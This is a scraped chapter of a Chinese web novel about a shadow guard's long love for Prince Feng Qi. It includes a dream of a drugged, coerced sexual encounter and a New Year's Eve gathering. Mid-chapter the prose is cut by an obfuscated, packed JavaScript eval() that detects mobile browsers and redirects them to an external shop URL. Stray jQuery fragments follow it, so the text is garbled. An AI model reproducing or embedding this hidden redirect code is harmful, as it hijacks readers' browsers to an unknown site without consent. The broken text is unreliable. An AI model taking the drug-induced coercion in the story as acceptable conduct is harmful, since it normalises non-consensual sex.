文趣网 > 其他小说 > 前任的影卫向我自荐枕席 > 23. 第 23 章
    ——就这个吧,爹刚赐的。长得还算不错,七哥还不得谢谢弟弟们。

    ——滚出去。

    ——这药可是西域来的神药,药性不解,这样憋下去你会死的,弟弟们也是为你好。

    ——给我滚!

    ——好好好,七哥莫急,弟弟们这就离开……喂,那公公,药还有吗!

    ——殿下!殿下使不得啊!会出人命的!奴婢们怎么跟陛下交代啊!

    ——滚……

    烛影摇红,他头昏脑涨,口干舌燥,被不知是谁推到某个炙热的软垫上。那软垫仿若上好蚕丝织就,触手温润丝滑。他干巴巴地吞咽着,四下乱摸,急切地寻找解渴之物,“啪!”脸上忽生生受了一巴掌。他呆坐在原地,眨了眨眼,视野里渐渐浮出一个形貌昳丽少年,那人头发湿漉漉地黏在脸上,嘴唇被咬出血,无力地瞪着他,眼里只有刺骨的恨意。

    他被那眼神刺痛,瑟缩了一下,短暂的停顿后,他俯下去。“滚!”那人偏开头,他的嘴唇落在侧脸上。“九殿下说了,您会死。”他又勉强凝聚起一点神智,含糊地安抚。“那你也信?”少年讥笑。他又想出一句理由:“他们不会放过我们……”“我宁可死……唔,松、唔……我会杀了你……”嘴唇被死死地咬了一口,伤口酸胀,汩汩地流出血。

    那也不知是什么药,骨头缝里仿佛有千万只蚂蚁啃啮,浑身上下无一处不隐隐作疼,洪流翻腾不休,急切地寻找倾泻的出口。他毫无章法地坐下,企图用疼痛缓解疼痛。忽然间,那个漂亮的皇子蓦的停下了所有的动作,闭上眼,克制隐忍的神情竟有几分神性。

    这是九幽黄泉边绽放的冰洁之花。苦难不改其性,浊尘不染其身,坚定不移地向道而行。

    也不知过了多久,忽然传来九皇子的大笑。那些人竟不知何时推开了门,他吓得心脏骤停,呆呆地坐着,一直静默不动的七皇子忽地翻身将他护在臂下,扯过被褥,盖住了两人。少年漆黑幽深的眸子紧盯着他,伸手掐住他脖子,俯身在他耳边低语:“我一定会杀了你。”他心跳快得要跳出胸腔,屏住呼吸,痴痴地撞进那双眼眸中。

    那是他一生心动的起点,也是罪愆的来源。他把那一眼当成了一生的方向。

    蜉蝣朝生暮死,不问终期将至。那一刻的他大约也是如此,心甘情愿地沉沦在这场颠倒荒唐的迷梦里。

    十七猛地睁开湿润的睫毛,瞪着一片黢黑直喘粗气,不知今夕何夕。

    过了许久,方慢慢平复。他捂住额头,察觉到嘴里有股苦味,依稀记得昏睡时有人灌了药。

    明明最后有意识的时候是在影卫司的僚舍里,为何一觉醒来换了地方……他慢吞吞地支着床坐起身,挪到窗边,无声地推开一条缝隙。外面不知何时又下了雪,一队禁卫着甲佩刀地守在廊下。这等待遇,怕是天字头号要犯都享受不到。

    原来在皇宫里……他又悄无声息地阖上窗户,品着心头的失落,苦涩一笑,侧首出神。窗纸映着皎洁的莹光,照得屋内一片清幽。所有人都以为他是在当值的时候慢慢喜欢上楚王,只有他自己清楚,很久之前的第一眼,他就无怨无悔地一头扎了进去,交付了真心。奈何那只是一场巨大的错位,那份真心也不值钱。现在尘埃落定,一切回归正轨,卑鄙小人终于得到审判。

    这场梦做了这么多年,该醒了。

    不久前,皇帝逼他主动离开楚王,他还大言不惭地说,那也要殿下亲手将他推开。没想到不过一个时辰之后,殿下就真的丢下了他……都怪前段时间殿下待他太温柔,令他生出不该有的痴妄,认不清自己的身份了……

    殿下突然亲近他,他甘愿敬献出一切,因为他是朝圣者。殿下逼问他的感情,他不敢踏前一步,因为他是罪人。

    他一直清醒地知道,有些东西非他所能拥有。他比封麟还要先爱上封歧,可他是不可见之人。这么多年,他一直谨守身份,做一道幽影,看着七皇子成长,看着七皇子爱上别人。要是有人问他,动心是什么滋味?他会毫不犹豫地回答:是漫长。

    特别漫长。

    而且毫无回报。

    他以为终此一生皆将如此……要是如此也好……可是某一天,楚王的视线漫不经心地落在他身上,对他说:本王瞧你有几分眼熟。

    他把脸埋进手里,就这么坐着。也不知过去多久,门外终于传来说话声:“他醒了吗?”

    “不知道,一直没有动静。”

    吱呀——门开了,于公公站在门外,看到他愣了一下,随后换了个臂弯挽住麈尾,神情古怪地道:“既然醒了,咱家也好交差了。你身前桌上有两包药,带回去吃罢。噫,怎么不动,要咱家恭请您不成?”

    十七大脑一时转不过来:“请问公公这是要小人回哪去?”

    “还能回哪,影卫司啊,”于公公拿捏着腔调翻了个白眼,“陛下又杀不得您,还留你在这闹心不成。”

    十七发现自己在皇宫时就已经在等死了,闻言不由愈发茫然:“为何杀不得我?”

    于公公微张口,不知想到什么,又闭上,带着几分看好戏的心思冷笑一声:“圣上仁慈,心意岂容你等贱奴胡乱揣度,只要记着陛下的恩典,日后肝脑涂地地回报便是。还不快动身,咱家不稀得在你这浪费时间。”

    ……

    “关门关窗,防偷防盗。”打更人敲着锣走到楚王府门前,正好迎面跑来一匹快马,他吓了一跳,正要高呼卫兵拿下这犯夜之人,那人已勒停下马,上前一步踩上王府门前的台阶。

    打更人把手里风灯往前一递,照亮一张如玉的脸庞,不由为自己这失礼之举打了个寒噤:“楚,楚王殿下!”

    楚王侧头看过来,忽然从袖子里掏了个荷包给他:“除夕好,恭喜发财。”

    打更人傻在原地,结结巴巴道:“谢,谢殿下,您也好……”楚王笑了一下,进了王府。打更人好半晌才收起傻笑,拍了拍红通通的脸皮,小心翼翼地拆开荷包。只见里面是九颗憨态可掬的金猪,还有一张字条,用俊逸的笔锋写着:但愿战无恙,长与月同圆。

    “……奇怪,难道是写给哪个将军的?那为何会给我?”打更人摸不着脑袋,摇摇头走了。

    既是除夕夜,灯火通宵不灭。封歧回到暖厅,众人已经围炉喝起了小酒,一边剥着花生,一边闲聊叙话,和乐融融,别有一番温馨的滋味。封歧心神微松,走入屋内。“殿下!”众人纷纷拱手。君臣有别,屋内摆着两个炉子,其中正对大门的一个独属于楚王,他解开裘衣,穿过人群,单独坐在一旁,进门时感受到的暖意忽然呲溜溜地散去了,一股说不出的孤寒自心底升起,流遍四肢百骸,再难温暖起来。

    他抬

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607241|203336||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起手臂,正要给自己斟杯热酒,袖袋里的重物晃动,提醒了他什么,召来绪承安吩咐道:“去请阿难来。”

    不多时,绪承安亲自推着轮椅带来了阿难。少女安静地坐在那里,眉眼恬静,隐约与封歧有几分相似,引得此前未曾跟去南都的人暗暗打量。

    自从将她带回府上,封歧便很少过问。少女的身份不明,少不了有自作聪明的下人揣度,不过这一切自有绪承安安排。封歧抬起眼皮,轻点手指:“坐这儿来。”

    绪承安听命将轮椅推到他身边,在两个宫女的搀扶下,阿难离开轮椅,坐在封歧身边的软垫上。宫女之一提起酒壶,正待给阿难甄酒,却听楚王道:“给姑娘换杯七宝茶。”

    宫女忙放下酒壶,退了出去。阿难平淡道:“多谢殿下。”

    封歧道:“瞧你脸色不太好,可是府上奴婢怠慢了?”

    阿难嘴角微翘:“成天只能待在院子里,未曾养好身体,是阿难的不是。”

    封歧仿佛没有听出嘲讽,哄孩子般说道:“等你身体养好了,本王便不再拦你。”

    七宝茶本是封歧常喝热饮,厨房里时时备着,故而很快婢女便端了一碗热腾腾的来。封歧亲自接过,摆到阿难跟前,又命人拿来攒盒,里面尽是五花八门的糖果点心。

    阿难冷眼看着,不发一言。直到封歧自袖子里掏出一个小荷包,摊在手心,送到她眼皮子底下。

    阿难微怔:“这是什么?”

    “打开看看。”

    阿难拉开抽绳,倒出五颗圆滚滚的金豆,愣在当场,眼圈微红道:“这是……压岁钱?”

    楚王点点头:“大家都有份。”说完,拍了拍手心,一个太监端着托盘自正壁小门进来,给众人分发荷包。

    楚王顺势举起酒杯,起身朝四方遥敬:“今日留在府里的有好几个孤家寡人,本王就祝大家早日成家,也好过来年继续在这里凑热闹。”

    屋子里顿时热闹开,大家端起酒杯,轮流给楚王殿下敬酒。都是一肚子墨水的文士,这个说“交年换新岁,长保身荣贵。”那个祝“从今把定春风笑,且作人间长寿仙。”轮到护卫司的统领大人庞绥时,绞尽脑汁,半雅半俗地道:“愿殿下新春以后,百事如意。”楚王殿下一一饮尽。

    子时前后,府中仆役燃放烟花爆竹,大家一股脑地涌到廊下观赏。啪——烟花升到空中绽开,映亮一张张笑脸。“咦,殿下呢?”有人问。大家回头,发现楚王殿下仍在屋内,他今天宫宴本就喝了不少酒,回来后又饮许多,如今伏在桌上,已醉得人事不省。便有人笑道:“难得佳节,殿下这是高兴得忘乎所以了。”“殿下清晨还要入宫参加大朝贡,这样如何吃得消,反正已过子时,不如送殿下回去休息。”

    丑时三刻,封歧被绪承安一迭声地唤醒。倒是没有预料中的宿醉的头痛,但是头脑尚有些混沌。他抬起手臂,正待揉一揉额头,忽然看到手里紧攥的青色棉袍,不由如遭雷击,一些片段在脑海里闪回。昨夜……昨夜他好像喝醉了,站不起身,庞绥和徐青一左一右搀扶他回屋子……然后灌了一碗解酒汤……再然后……

    他抱住谁的腰不肯撒手,那人吓得衣服也不要了,连蹿带跳地跑了出去。

    楚王殿下默默地放下棉袍,吩咐一旁的小太监:“给庞统领送去。备水,本王要沐浴更衣。”